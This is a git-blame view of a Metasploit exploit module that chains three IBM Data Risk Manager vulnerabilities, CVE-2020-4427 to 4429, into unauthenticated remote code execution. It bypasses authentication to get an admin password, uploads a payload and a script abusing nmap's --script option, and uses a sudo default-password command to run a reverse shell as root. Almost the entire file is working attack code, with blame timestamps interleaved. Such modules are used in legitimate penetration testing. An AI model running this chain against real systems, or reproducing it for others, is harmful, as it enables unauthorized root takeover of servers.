Files
metasploit-gs/modules/exploits/linux/http/ibm_drm_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

329 lines
12 KiB
Ruby
Raw Normal View History

2020-04-21 15:49:48 +07:00
##
2020-04-28 14:12:38 +07:00
# This module requires Metasploit: https://metasploit.com/download
2020-04-21 15:49:48 +07:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
2020-04-24 10:20:10 +07:00
super(
update_info(
info,
'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution',
'Description' => %q{
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by
an unauthenticated attacker to achieve remote code execution as root.
2020-05-05 10:54:33 +07:00
The first is an unauthenticated bypass, followed by a command injection as the server user,
2020-04-24 10:20:10 +07:00
and finally abuse of an insecure default password.
This module exploits all three vulnerabilities, giving the attacker a root shell.
2020-06-26 11:38:55 +07:00
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.
2020-06-26 11:31:10 +07:00
The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on
versions <= 2.0.4 according to IBM.
2020-04-24 10:20:10 +07:00
},
2021-08-27 17:15:33 +01:00
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
2020-04-24 10:20:10 +07:00
'License' => MSF_LICENSE,
2021-08-27 17:15:33 +01:00
'References' => [
[ 'CVE', '2020-4427' ], # auth bypass
[ 'CVE', '2020-4428' ], # command injection
[ 'CVE', '2020-4429' ], # insecure default password
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/' ]
],
2020-04-24 10:20:10 +07:00
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
2021-08-27 17:15:33 +01:00
'Targets' => [
[ 'IBM Data Risk Manager <= 2.0.4', {} ]
],
2020-04-24 10:20:10 +07:00
'Privileged' => true,
2021-08-27 17:15:33 +01:00
'DefaultOptions' => {
'WfsDelay' => 15,
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'SSL' => true
},
2020-04-24 10:20:10 +07:00
'DefaultTarget' => 0,
'DisclosureDate' => '2020-04-21',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
2023-02-08 15:46:07 +00:00
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
2020-04-24 10:20:10 +07:00
)
)
2020-04-21 15:49:48 +07:00
register_options(
[
2020-05-05 10:54:33 +07:00
Opt::RPORT(8443),
OptString.new('TARGETURI', [ true, 'Default server path', '/'])
2020-04-24 10:20:10 +07:00
]
)
2020-04-21 15:49:48 +07:00
end
def check
# at the moment there is no better way to detect AND be stealthy about it
session_id = rand_text_alpha(5..12)
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
2020-04-21 15:49:48 +07:00
'method' => 'GET',
'vars_get' => {
2020-04-24 10:20:10 +07:00
'id' => session_id,
'userName' => 'admin'
2020-04-21 15:49:48 +07:00
}
})
2020-04-24 10:20:10 +07:00
if res && (res.code == 302) &&
res.headers['Location'].include?('localhost:8765') &&
res.headers['Location'].include?('saml/idpSelection')
2020-04-21 15:49:48 +07:00
return Exploit::CheckCode::Detected
end
2020-04-24 10:20:10 +07:00
2020-05-05 10:54:33 +07:00
Exploit::CheckCode::Unknown
2020-04-21 15:49:48 +07:00
end
# post-exploitation:
# - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out)
def on_new_session(client)
2020-04-24 10:20:10 +07:00
if client.type == 'meterpreter'
2020-04-21 15:49:48 +07:00
# stdapi must be loaded before we can use fs.file
2020-04-24 10:20:10 +07:00
client.core.use('stdapi') if !client.ext.aliases.include?('stdapi')
2020-04-21 15:49:48 +07:00
client.fs.file.rm(@script_filepath)
client.fs.file.rm(@payload_filepath)
else
client.shell_command_token("rm #{@script_filepath}")
client.shell_command_token("rm #{@payload_filepath}")
end
end
# version 2.0.1 runs as root, so we need to change the path to where we deploy the patches
def get_patches_path(cookie, csrf)
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'),
2020-04-21 15:49:48 +07:00
'method' => 'GET',
2020-04-24 10:20:10 +07:00
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf }
2020-04-21 15:49:48 +07:00
})
2020-05-05 10:54:33 +07:00
if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/
print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1")
return '/root/agile3/patches/'
2020-04-21 15:49:48 +07:00
end
print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above")
2020-05-05 10:54:33 +07:00
'/home/a3user/agile3/patches/'
2020-04-21 15:49:48 +07:00
end
2020-05-05 10:01:40 +07:00
def create_session_id
2020-04-21 15:49:48 +07:00
# step 1: create a session ID and try to make it stick
session_id = rand_text_alpha(5..12)
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
2020-04-21 15:49:48 +07:00
'method' => 'GET',
'vars_get' => {
2020-04-24 10:20:10 +07:00
'id' => session_id,
'userName' => 'admin'
2020-04-21 15:49:48 +07:00
}
})
2020-05-05 10:54:33 +07:00
if res && (res.code != 302)
2020-04-21 15:49:48 +07:00
fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
end
2020-05-05 10:54:33 +07:00
print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")
2020-05-05 10:01:40 +07:00
session_id
end
def free_the_admin(session_id)
2020-04-21 15:49:48 +07:00
# step 2: give the session ID to the server and have it grant us a free admin password
post_data = Rex::MIME::Message.new
2020-05-05 10:54:33 +07:00
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')
2020-04-21 15:49:48 +07:00
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
2020-04-21 15:49:48 +07:00
'method' => 'POST',
2020-04-24 10:20:10 +07:00
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
2020-04-21 15:49:48 +07:00
})
2020-05-05 10:01:40 +07:00
2023-02-08 15:20:32 +00:00
unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]
2020-04-21 15:49:48 +07:00
fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.")
end
2020-05-05 10:01:40 +07:00
password = Regexp.last_match(1)
print_good("#{peer} - We have obtained a new admin password #{password}")
password
end
def login_and_csrf(password)
# step 3: login and get an authenticated cookie
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'login'),
2020-05-05 10:01:40 +07:00
'method' => 'POST',
'vars_post' => {
'userName' => 'admin',
'password' => password
}
})
unless res && (res.code == 302) && res.get_cookies
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.")
end
print_good("#{peer} - ... and are authenticated as an admin!")
cookie = res.get_cookies
url = res.redirection.to_s
# step 4: obtain CSRF header in order to be able to make valid requests
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'cookie' => cookie
})
2023-02-08 15:20:32 +00:00
unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/
2020-05-05 10:01:40 +07:00
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.")
end
csrf = Regexp.last_match(1)
return cookie, csrf
end
def upload_payload_and_script(cookie, csrf, patches_path)
# step 5: upload our payload
2021-02-24 20:24:57 +00:00
payload_file = "#{rand_text_alpha(5..12)}.enc"
2020-05-05 10:01:40 +07:00
post_data = Rex::MIME::Message.new
2020-05-05 10:54:33 +07:00
post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")
2020-05-05 10:01:40 +07:00
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
2020-05-05 10:01:40 +07:00
'method' => 'POST',
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
unless res && (res.code == 200)
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.")
end
print_good("#{peer} - We have uploaded our payload... ")
# step 6: upload our script file
# nmap will run as a3user (the server user), which has a default password of "idrm".
# a3user has sudo access, so that means we run as root!
# However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo
# to execute as root, we ensure our payload still executes as a3user.
#
# Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
2021-02-24 20:24:57 +00:00
script_file = "#{rand_text_alpha(5..12)}.enc"
2020-05-05 10:01:40 +07:00
@script_filepath = patches_path + script_file
@payload_filepath = patches_path + payload_file
rand_file = rand_text_alpha(5..12)
cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};"
2020-05-05 10:54:33 +07:00
cmd << " root=`cat /tmp/#{rand_file}`;"
cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};"
cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}"
2020-05-05 10:01:40 +07:00
script_file_contents = "os.execute(\"#{cmd}\")"
post_data = Rex::MIME::Message.new
2020-05-05 10:54:33 +07:00
post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"")
2020-05-05 10:01:40 +07:00
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
2020-05-05 10:01:40 +07:00
'method' => 'POST',
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
unless res && (res.code == 200)
fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.")
end
print_good("#{peer} - and our nmap script file!")
end
def obtain_bearer_token(password)
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
post_data = Rex::MIME::Message.new
2020-05-05 10:54:33 +07:00
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
post_data.add_part(password, nil, nil, 'form-data; name="password"')
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
2020-05-05 10:01:40 +07:00
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
2020-05-05 10:01:40 +07:00
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
2023-02-08 15:20:32 +00:00
unless res && (res.code == 200) && res.body =~ /"data":\{"access_token":"([0-9a-f-]{36})","token_type":"bearer"/
2020-05-05 10:01:40 +07:00
fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.")
end
bearer = Regexp.last_match(1)
print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...")
bearer
end
def exploit
# step 1: create a session ID and try to make it stick
session_id = create_session_id
# step 2: give the session ID to the server and have it grant us a free admin password
password = free_the_admin(session_id)
# step 3: login and get an authenticated cookie
# step 4: obtain CSRF header in order to be able to make valid requests
cookie, csrf = login_and_csrf(password)
patches_path = get_patches_path(cookie, csrf)
# step 5: upload our payload
# step 6: upload our script file
upload_payload_and_script(cookie, csrf, patches_path)
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
bearer = obtain_bearer_token(password)
# step 8 and final: invoke the nmap scan with our script file
script = "--script=#{@script_filepath}"
post_data = Rex::MIME::Message.new
2020-05-05 10:54:33 +07:00
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
post_data.add_part('1', nil, nil, 'form-data; name="type"')
post_data.add_part('', nil, nil, 'form-data; name="portRange"')
post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"')
2020-05-05 10:01:40 +07:00
res = send_request_cgi({
2020-05-05 10:54:33 +07:00
'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s),
2020-05-05 10:01:40 +07:00
'method' => 'POST',
'headers' => { 'Authorization' => "Bearer #{bearer}" },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
2020-05-05 10:54:33 +07:00
unless res && (res.code == 200)
2020-05-05 10:01:40 +07:00
fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.")
end
2020-05-05 10:54:33 +07:00
print_good("#{peer} - Shell incoming!")
2020-04-21 15:49:48 +07:00
end
end